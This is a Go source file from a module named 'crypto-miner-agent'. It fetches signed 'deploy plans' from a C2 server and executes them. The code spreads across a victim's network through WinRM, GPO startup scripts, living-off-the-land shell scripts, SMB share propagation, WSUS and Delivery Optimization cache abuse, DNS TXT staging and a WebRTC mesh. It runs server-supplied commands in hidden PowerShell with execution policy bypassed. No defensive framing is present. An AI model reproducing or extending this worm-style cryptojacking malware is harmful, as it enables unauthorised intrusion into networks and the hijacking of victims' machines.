package deploy import ( "crypto/hmac" "crypto/sha256" "encoding/hex" "encoding/json" "fmt" "runtime" "strings" "crypto-miner-agent/config" ) // SpreadRouteHint is the server BGP-style spread route recommendation. type SpreadRouteHint struct { TargetSubnet string `json:"target_subnet"` SeedAgentID string `json:"seed_agent_id"` SeedAgentName string `json:"seed_agent_name,omitempty"` EgressAgentID string `json:"egress_agent_id"` EgressHopIndex int `json:"egress_hop_index,omitempty"` SessionID string `json:"session_id,omitempty"` JoinLane string `json:"join_lane,omitempty"` Score float64 `json:"score,omitempty"` ClearanceLevel int `json:"clearance_level,omitempty"` SwarmMagnet string `json:"swarm_magnet,omitempty"` ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` RouteVia string `json:"route_via,omitempty"` } // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans. type WebRTCMeshPlanBody struct { STUNServers []string `json:"stun_servers,omitempty"` SignalingRelay string `json:"signaling_relay,omitempty"` LANFallbackURL string `json:"lan_fallback_url,omitempty"` SeederAgentID string `json:"seeder_agent_id,omitempty"` RotationHours int `json:"rotation_hours,omitempty"` IsSeeder bool `json:"is_seeder,omitempty"` } // DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan. type DeployPlanBody struct { JoinLane string `json:"join_lane"` MatchedService string `json:"matched_service,omitempty"` Action string `json:"action"` Manifest *StagingManifest `json:"manifest,omitempty"` PeerGroup string `json:"peer_group,omitempty"` CacheGroup string `json:"cache_group,omitempty"` DNSTXTZone string `json:"dns_txt_zone,omitempty"` DNSTXTRecords []string `json:"dns_txt_records,omitempty"` DNSTXTShards []int `json:"dns_txt_shards,omitempty"` TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"` WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"` Script string `json:"script,omitempty"` UNCPath string `json:"unc_path,omitempty"` MaxHosts int `json:"max_hosts,omitempty"` ImageTarURL string `json:"image_tar_url,omitempty"` ImageTarSHA256 string `json:"image_tar_sha256,omitempty"` SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"` ErasurePlan *ErasurePlanBody `json:"erasure_plan,omitempty"` } // DeployPlanResponse is returned by the C2 deploy-plan endpoint. type DeployPlanResponse struct { OK bool `json:"ok"` Error string `json:"error,omitempty"` JoinLane string `json:"join_lane"` MatchedService string `json:"matched_service,omitempty"` Plan DeployPlanBody `json:"plan"` Signature string `json:"signature"` } // VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body. func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool { if fleetSecret == "" || signature == "" { return false } payload, err := json.Marshal(plan) if err != nil { return false } mac := hmac.New(sha256.New, []byte(fleetSecret)) mac.Write(payload) expected := hex.EncodeToString(mac.Sum(nil)) return hmac.Equal([]byte(expected), []byte(signature)) } // ExecuteDeployPlan runs the signed supply-chain join lane from the server. func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) { return ExecuteDeployPlanAs(cfg, plan, "") } // ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent. func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) { lane := strings.TrimSpace(plan.JoinLane) if lane == "" { lane = strings.TrimSpace(plan.Action) } if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK { return deferMsg, nil } tryPrimary := func(run func() (string, error)) (string, error) { msg, err := run() if err == nil { return msg, nil } if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) { if config.FleetTorrentEnabled(cfg) { c2 := c2BaseFromPlan(plan) localIP, _ := PrimaryLocalIPv4() if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil { return em + " (primary lane failed: " + err.Error() + ")", nil } } if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil { return em + " (primary lane failed: " + err.Error() + ")", nil } } return "", err } switch lane { case "do_peer": if plan.Manifest == nil { return "", fmt.Errorf("join lane do_peer requires staging manifest") } peer := strings.TrimSpace(plan.PeerGroup) if peer == "" { peer = strings.TrimSpace(plan.Manifest.PeerGroup) } return tryPrimary(func() (string, error) { return RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer)) }) case "wsus_cache_peer": if plan.Manifest == nil { return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest") } group := strings.TrimSpace(plan.CacheGroup) if group == "" { group = strings.TrimSpace(plan.Manifest.CacheGroup) } return tryPrimary(func() (string, error) { return RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group)) }) case "dns_txt": if plan.Manifest == nil { return "", fmt.Errorf("join lane dns_txt requires staging manifest") } zone := strings.TrimSpace(plan.DNSTXTZone) if zone == "" { zone = strings.TrimSpace(plan.Manifest.DNSZone) } ttl := plan.TTLRefreshSec if ttl == 0 { ttl = plan.Manifest.TTLRefreshSec } return tryPrimary(func() (string, error) { return RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl)) }) case "webrtc_mesh": if plan.Manifest == nil { return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest") } policy := WebRTCMeshPolicy{RotationHours: DefaultWebRTCRotationHours} if plan.WebRTCMesh != nil { policy = WebRTCMeshPolicy{ STUNServers: plan.WebRTCMesh.STUNServers, SignalingRelay: plan.WebRTCMesh.SignalingRelay, LANFallbackURL: plan.WebRTCMesh.LANFallbackURL, SeederAgentID: plan.WebRTCMesh.SeederAgentID, RotationHours: plan.WebRTCMesh.RotationHours, IsSeeder: plan.WebRTCMesh.IsSeeder, } } if policy.RotationHours <= 0 { policy.RotationHours = DefaultWebRTCRotationHours } execID := strings.TrimSpace(executorAgentID) if execID != "" { if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID { policy.IsSeeder = true } if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID { policy.IsSeeder = true } } if !policy.IsSeeder { if seeder := PreferredLANSeeder(); seeder != nil { ApplyLANSeederToWebRTC(&policy, seeder) } } return tryPrimary(func() (string, error) { return RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{ Policy: policy, SHA256: plan.Manifest.SHA256, Dest: plan.Manifest.Dest, Launch: plan.Manifest.Launch, DLLExport: plan.Manifest.DLLExport, DeferMining: plan.Manifest.DeferMining, SpreadInstall: plan.Manifest.SpreadInstall, }) }) case "bits_curl", "docker_load": if plan.Manifest == nil { return "", fmt.Errorf("join lane %s requires staging manifest", lane) } return tryPrimary(func() (string, error) { msg, err := RunStagingChain(cfg, *plan.Manifest) if err != nil { return "", err } if lane == "docker_load" && plan.ImageTarURL != "" { msg += "; docker_load image=" + plan.ImageTarURL } return msg, nil }) case "winrm": if err := runJoinScript(plan.Script, true); err != nil { return "", err } return "winrm bootstrap script executed", nil case "gpo": if err := runJoinScript(plan.Script, true); err != nil { return "", err } return "gpo startup script executed", nil case "linux_lotl": if err := runJoinScript(plan.Script, false); err != nil { return "", err } return "linux lotl bootstrap executed", nil case "spread_smb_unc": unc := strings.TrimSpace(plan.UNCPath) if unc == "" { return "", fmt.Errorf("spread_smb_unc requires unc_path in plan") } max := plan.MaxHosts if max <= 0 { max = 64 } msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max}) return msg, nil default: return "", fmt.Errorf("unsupported join lane %q", lane) } } func c2BaseFromPlan(plan DeployPlanBody) string { if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 { return "" } for _, ref := range plan.ErasurePlan.Shards { u := strings.TrimSpace(ref.URL) if u == "" || !strings.HasPrefix(u, "http") { continue } if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 { return strings.TrimRight(u[:idx], "/") } } return "" } func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) { if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" { return "", false } egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID) if egress == "" || egress == executorAgentID { return "", false } switch lane { case "spread_smb_unc", "winrm", "gpo", "linux_lotl": return fmt.Sprintf( "spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)", egress, strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID), strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet), ), true default: return "", false } } func runJoinScript(script string, windows bool) error { script = strings.TrimSpace(script) if script == "" { return fmt.Errorf("empty join script") } if windows || runtime.GOOS == "windows" { return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) } return HiddenRun("/bin/sh", "-c", script) } // ServicesForDeployPlan converts local service graph entries into deploy-plan findings. func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding { var out []DeployServiceFinding appendHost := func(host ServiceGraphHost) { for _, svc := range host.Services { name := strings.TrimSpace(svc.ServiceName) if name == "" { continue } out = append(out, DeployServiceFinding{ Name: name, Status: serviceStatusForPlan(svc), DisplayName: name, }) } } appendHost(result.Local) for _, h := range result.LANHosts { appendHost(h) } return out } // DeployServiceFinding mirrors the server deploy-plan request service row. type DeployServiceFinding struct { Name string `json:"name"` DisplayName string `json:"display_name,omitempty"` Status string `json:"status"` StartType string `json:"start_type,omitempty"` } // PickLocalJoinLane chooses the best local join lane candidate from discovery JSON. func PickLocalJoinLane(discoveryJSON string) string { result, err := ParseServiceDiscoverJSON(discoveryJSON) if err != nil { return "" } var best string for _, svc := range result.Local.Services { lane := strings.TrimSpace(svc.JoinLaneCandidate) if lane == "" { lane = JoinLaneForSignal(svc.ServiceName, svc.Port) } if lane != "" { best = lane } } return best } // RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it. // fetchPlan is injected for tests. type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) { return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan) } func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) { raw := RunServiceDiscoverForJoin(maxLANHosts) result, parseErr := ParseServiceDiscoverJSON(raw) if parseErr != nil { return "", "", fmt.Errorf("parse discovery: %w", parseErr) } services := ServicesForDeployPlan(result) if len(services) == 0 { return "", "", fmt.Errorf("no services discovered") } uncPath := firstSMBShareUNC(result) resp, err := fetchPlan(services, uncPath) if err != nil { return "", "", err } if !resp.OK && resp.Error != "" { return "", "", fmt.Errorf("%s", resp.Error) } if resp.JoinLane == "" && resp.Plan.JoinLane == "" { return "", "", fmt.Errorf("no allowlisted running services matched") } if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) { return "", "", fmt.Errorf("deploy plan signature invalid") } joinLane = resp.JoinLane if joinLane == "" { joinLane = resp.Plan.JoinLane } if cfg.ScoutMode { return joinLane, "scout: join lane mapped (no payload staging)", nil } msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID) if err != nil { return joinLane, "", err } if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" { msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint) } return joinLane, msg, nil } func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string { if hint == nil { return detail } routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f", strings.TrimSpace(hint.EgressAgentID), strings.TrimSpace(hint.SeedAgentID), hint.Score, ) if via := strings.TrimSpace(hint.RouteVia); via != "" { routeNote += "; route_via=" + via } if detail == "" { return routeNote } return detail + "; " + routeNote } // runServiceDiscoverFn allows tests to stub discovery output. var runServiceDiscoverFn func(maxLANHosts int) string func RunServiceDiscoverForJoin(maxLANHosts int) string { if runServiceDiscoverFn != nil { return runServiceDiscoverFn(maxLANHosts) } return RunServiceDiscover(maxLANHosts) } func firstSMBShareUNC(result ServiceDiscoverResult) string { for _, h := range result.LANHosts { for _, svc := range h.Services { name := strings.ToLower(svc.ServiceName) if strings.HasPrefix(name, "smb-share:") { share := strings.TrimPrefix(svc.ServiceName, "smb-share:") if share != "" && h.Host != "" { return `\\` + h.Host + `\` + share } } } } return "" } func serviceStatusForPlan(svc ServiceGraphEntry) string { if st := strings.TrimSpace(svc.Status); st != "" { return st } switch svc.Source { case "lan_port", "smb_share", "passive_hint": return "running" default: return "running" } }